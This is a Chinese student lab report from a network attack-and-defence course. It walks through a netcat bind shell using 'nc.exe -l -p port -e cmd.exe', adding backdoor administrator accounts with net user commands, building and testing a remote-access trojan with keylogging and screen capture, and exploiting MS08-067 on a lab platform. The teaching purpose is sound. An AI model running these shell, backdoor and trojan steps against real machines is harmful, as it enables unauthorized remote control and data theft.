实验4

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了实验4相关的知识,希望对你有一定的参考价值。

 

中国人民公安大学

Chinese people public security university

 

网络对抗技术

实验报告

 

实验四

恶意代码技术

 

 

 

学生姓名

朱志韬

年级

2014 

区队

指导教师

高见 

 

 

信息技术与网络安全学院

2016117

 

实验任务总纲

2016—2017 学年 第  学期

一、实验目的

1.通过对木马的练习,使读者理解和掌握木马传播和运行的机制;通过手动删除木马,掌握检查木马和删除木马的技巧,学会防御木马的相关知识,加深对木马的安全防范意识。

 

2.了解并熟悉常用的网络攻击工具,木马的基本功能;

3.达到巩固课程知识和实际应用的目的。

二、实验要求

1.认真阅读每个实验内容,需要截图的题目,需清晰截图并对截图进行标注和说明。

2.文档要求结构清晰,图文表达准确,标注规范。推理内容客观、合理、逻辑性强。

3.软件工具可使用NC、MSF等。

4.实验结束后,保留电子文档。

、实验步骤

1.准备

提前做好实验准备,实验前应把详细了解实验目的、实验要求和实验内容,熟悉并准备好实验用的软件工具,按照实验内容和要求提前做好实验内容的准备。

2.实验环境

描述实验所使用的硬件和软件环境(包括各种软件工具);

开机并启动软件office2003或2007、浏览器、加解密软件。

3.实验过程

1)启动系统和启动工具软件环境。

2)用软件工具实现实验内容。

4.实验报告

按照统一要求的实验报告格式书写实验报告。把按照模板格式编写的文档嵌入到实验报告文档中,文档按照规定的书写格式书写,表格要有表说图形要有图说。

 

任务一 利用NC控制电脑

 

 NetCat,具有网络军刀之称,它小巧精悍且功能强大,说它小巧精悍,是因为他的软件大小现在已经压缩到只有十几KB,而且在功能上丝毫不减。

 

实验过程需要两个同学相互配合完成:

 

步骤一:

 

   在受害者的机器 (同学A)
输入下面的命令:
  nc.exe -l -p port -e cmd.exe   进入监听模式

技术分享

 


步骤二:
  在攻击者的机器.(同学B)
输入下面的命令:
  nc ip  port //连接victim_IP,然后得到一个shell。 (需要截图)

 

 技术分享

 

 

步骤三:

 

    在shell中,利用net user 用户名 密码 /add ,添加一个用户,并在受害者的机器中使用 net user 命令进行验证。(需要截图)

 

 

技术分享

 

技术分享

 可以继续通过命令行做一些事情。

 

任务二 利用木马控制电脑

 

实验过程需要两个同学配合:

 

步骤一:

 

    攻击者的机器. (同学A)
打开V2014.exe程序或则star RAT,这两个木马功能类似。

 

技术分享

 


步骤二:
  点击菜单栏中的“服务生成”,在弹出的配置服务端中,配置回连IP地址(攻击者IP)和端口号,并点击“生成”按钮,生成木马服务端。

 技术分享

 

 

 

步骤三:

 

将生成的木马可执行程序拷贝到受害者的机器,并双击运行。 

 

步骤四:

 

在控制端中查看木马上线情况,并对以下功能每个进行测试和截图。 

 

  1. 文件管理,尝试拷贝文件
  2. 屏幕控制,尝试获取桌面
  3. 键盘记录,尝试获取对方击键记录
  4. 会话管理,重启对方机器,查看是否能自启动上线

1技术分享

 

2、技术分享

 

3、技术分享

 

4、技术分享

会话管理,卸载对方的木马。

 

任务三 通过漏洞获取shell(合天平台中做) 所有过程截图写博客

 windows ms08067 漏洞利用

技术分享

 

技术分享

技术分享

技术分享

在平台中获取shell之后,继续利用攻击机器使用

net user user pass /add

net localgroup administrators /add

命令向被攻击的机器中添加账户,并提升为管理员

然后用rdesktop 10.1.1.130 登陆对方的远程桌面

 

 技术分享










以上是关于实验4的主要内容,如果未能解决你的问题,请参考以下文章

实验4 颜色字符串资源的使用 实验报告

区块链技术与应用实验报告(实验二)

20165219第4次实验《Android程序设计》实验报告

区块链技术与应用实验报告(实验二)

实验4实验报告

第二次实验报告